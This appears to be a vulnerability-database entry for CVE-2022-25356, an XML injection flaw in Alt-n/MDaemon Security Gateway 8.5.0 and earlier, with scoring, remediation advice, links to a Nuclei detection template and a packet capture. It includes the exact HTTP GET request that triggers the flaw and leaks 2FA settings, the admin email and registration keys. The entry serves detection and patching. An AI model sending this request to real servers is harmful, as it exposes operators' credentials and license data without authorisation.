| Title | Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious XML code, leading to various security risks such as information disclosure, privilege escalation. |
| Remediation | Upgrade Alt-n/MDaemon Security Gateway to version 8.5.1 or later to mitigate this vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.72874 |
| CVE ID | CVE-2022-25356 |
| CWE ID | CWE-91 |
| Tags | cve cve2022 altn gateway xml injection vuln |
Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.
GET /SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25356.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25356.pcap
N/AN/A